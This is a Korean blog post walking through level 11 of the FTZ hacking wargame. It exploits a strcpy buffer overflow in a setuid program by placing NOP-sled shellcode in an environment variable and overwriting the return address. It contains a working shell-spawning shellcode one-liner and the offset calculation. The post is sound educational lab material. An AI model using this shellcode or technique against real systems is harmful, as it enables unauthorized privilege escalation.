Dominic Repo

FTZ. 11 본문

System/FTZ

FTZ. 11

DominicS 2019. 9. 6. 13:47
level11 // what!@#$?

힌트는 다음과 같다.



attackme의 c소스로 보인다.

이 파일을 /tmp에 복사해서 gdb로 디버깅을 해보았다.



main 함수를 분석하면 핵심 부분이 있는데 그 부분은 strcpy 함수를 사용하는데있다.
strcpy함수는 버퍼 경계 사이즈를 확인하지 않고 사용하기 때문에 버퍼 오버플로우 취약점이 발생한다.

일단 이와 같은 어셈블리로 보아 이렇게 예상해 볼 수 있었다.


BOF공격에는 달고나 문서를 참고하니 3가지 공격기법이 있었다.
  1. 고전적인 방법 (shellcode가 있는 곳의 address를 추측하는방법, 노가다성이 너무 짙고 힘들어서 지금은 거의 사용 X)
  2. 환경변수를 이용하는 방법
  3. Return into libc 기법

이중 나는 환경변수를 이용하는 방법을 택했다.

우선 쉘코드를 환경변수에 추가해준다.

export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`

환경변수의 이름은 SH, NOP(gdb가 정확한 환경변수 주소를 알려주지 않아 정확성을 높이기 위해), 이후 쉘코드

환경변수의 주소를 알려주는 코드를 짜고 SH의 주소를 찾았더니 0xbffffe5b 이다.

ret에 이 주소를 넣어주기 위해 str(256) + dummy(8) + SFP(4) 를 해주면 return address 값이다. 즉, 268

NOP 슬라이딩 기법을 이용해 NOP 268개와 + 환경변수 주소값을 리틀 엔디언으로 넣어주면 쉘 획득!

환경변수 주소값 (little endian) : \x5b\xfe\xff\xbf


'System > FTZ' 카테고리의 다른 글

FTZ. 13  (0) 2019.09.06
FTZ. 12  (0) 2019.09.06
FTZ. 10  (0) 2019.09.06
FTZ. 9  (0) 2019.09.06
FTZ. 8  (0) 2019.09.05